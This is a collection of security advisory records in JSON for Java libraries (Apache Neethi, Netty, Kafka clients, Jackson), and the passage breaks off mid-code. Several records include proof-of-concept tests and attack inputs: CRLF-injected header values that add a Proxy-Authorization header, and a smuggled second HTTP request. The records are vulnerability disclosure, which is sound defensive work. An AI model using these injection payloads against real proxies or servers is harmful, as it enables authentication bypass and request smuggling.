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      "title": "Non-constant time comparisons risk private key leakage in FrodoKEM.",
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  "cveMetadata": {
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.neethi:neethi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42404"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T02:54:54Z",
    "nvd_published_at": "2026-05-01T11:16:19Z",
    "severity": "MODERATE"
  },
  "details": "Apache Neethi does not impose any restrictions on URIs when manually fetching remote policy references through the PolicyReference API. When an application explicitly calls the API to retrieve a policy from a remote URI, an outbound request is made for arbitrary protocols and internal IP adddresses. From 3.2.2, only http or https URIs are allowed, and link-local/multicast/any-local addresses are forbidden.\n\nUsers are recommended to upgrade to version 3.2.2, which fixes this issue.",
  "id": "GHSA-287c-fxr7-3w6c",
  "modified": "2026-05-07T02:54:54Z",
  "published": "2026-05-01T12:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42404"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/ws-neethi"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/zdspnt64zznyjyn648553kptx69w23oq"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/01/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Neethi doesn\u0027t impose any restrictions on URIs when manually fetching remote policy references through the PolicyReference API"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.neethi:neethi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T02:39:24Z",
    "nvd_published_at": "2026-05-01T09:16:17Z",
    "severity": "HIGH"
  },
  "details": "Apache Neethi does not properly detect circular references in policy definitions. When a WS-Policy document contains circular policy references (where Policy A references Policy B which references Policy A), the policy normalization process can enter an infinite loop or cause excessive recursion, leading to a stack overflow or application hang. An attacker can craft malicious policy documents with circular references to cause a Denial of Service condition\n\nUsers are recommended to upgrade to version 3.2.2, which fixes this issue.",
  "id": "GHSA-2hfh-9h53-qc24",
  "modified": "2026-05-07T02:39:24Z",
  "published": "2026-05-01T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42403"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/ws-neethi"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/zm6t8skkkskjwk1881l4m4n0l7dqclzo"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/01/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Neethi does not properly detect circular references in policy definitions."
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-38f8-5428-x5cv",
  "modified": "2026-05-14T20:41:21Z",
  "published": "2026-05-07T00:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:11:40Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "LOW"
  },
  "details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
  "id": "GHSA-45q3-82m4-75jr",
  "modified": "2026-05-14T20:40:54Z",
  "published": "2026-05-07T00:11:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:21:48Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n    @Test\n    public void test() {\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n        ByteBuf request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n        request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n                \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n                \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n        // Response 1\n        HttpResponse response = channel.readInbound();\n        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n        LastHttpContent last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 2\n        response = channel.readInbound();\n        assertEquals(HttpResponseStatus.OK, response.status());\n        last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 3\n        FullHttpResponse response1 = channel.readInbound();\n        assertTrue(response1.decoderResult().isFailure());\n        assertEquals(0, response1.content().readableBytes());\n        response1.release();\n\n        assertFalse(channel.finish());\n    }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
  "id": "GHSA-57rv-r2g8-2cj3",
  "modified": "2026-05-14T20:41:17Z",
  "published": "2026-05-07T00:21:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has HttpClientCodec response desynchronization"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kafka:kafka-clients"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "3.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kafka:kafka-clients"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kafka:kafka-clients"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-13T19:22:21Z",
    "nvd_published_at": "2026-04-07T14:16:23Z",
    "severity": "HIGH"
  },
  "details": "A race condition in the Apache Kafka Java producer client\u2019s buffer pool management can cause messages to be silently delivered to incorrect topics.\n\nWhen a produce batch expires due to delivery.timeout.ms while a network request containing that batch is still in flight, the batch\u2019s ByteBuffer is prematurely deallocated and returned to the buffer pool. If a subsequent producer batch\u2014potentially destined for a different topic\u2014reuses this freed buffer before the original network request completes, the buffer contents may become corrupted. This can result in messages being delivered to unintended topics without any error being reported to the producer.\n\n\nData Confidentiality:\nMessages intended for one topic may be delivered to a different topic, potentially exposing sensitive data to consumers who have access to the destination topic but not the intended source topic.\n\nData Integrity:\nConsumers on the receiving topic may encounter unexpected or incompatible messages, leading to deserialization failures, processing errors, and corrupted downstream data.\n\nThis issue affects Apache Kafka versions \u2264 3.9.1, \u2264 4.0.1, and\u00a0 \u2264 4.1.1.\n\nKafka users are advised to upgrade to 3.9.2, 4.0.2, 4.1.2, 4.2.0, or later to address this vulnerability.",
  "id": "GHSA-5qcv-4rpc-jp93",
  "modified": "2026-04-13T19:22:21Z",
  "published": "2026-04-07T15:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35554"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21288"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/commit/1df2ac5b2ba4d1b5ed54b895ff6fb9539303ccb5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/kafka"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/KAFKA-19012"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/f07x7j8ovyqhjd1to25jsnqbm6wj01d6"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/07/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Kafka Clients: Kafka Producer Message Corruption and Misrouting via Buffer Pool Race Condition"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.15.0"
            },
            {
              "fixed": "2.18.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n    private static final int MAX_NUMBER_LENGTH = 1000;\n    private static final int TEST_NUMBER_LENGTH = 5000;\n\n    private final JsonFactory factory = new JsonFactory();\n\n    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n    @Test\n    void syncParserRejectsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n        System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n        try {\n            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n                while (p.nextToken() != null) {\n                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                        System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n                    }\n                }\n            }\n            fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n        } catch (StreamConstraintsException e) {\n            System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n        }\n    }\n\n    // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n    @Test\n    void asyncParserAcceptsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n        NonBlockingByteArrayJsonParser p =\n            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n        p.feedInput(payload, 0, payload.length);\n        p.endOfInput();\n\n        boolean foundNumber = false;\n        try {\n            while (p.nextToken() != null) {\n                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                    foundNumber = true;\n                    String 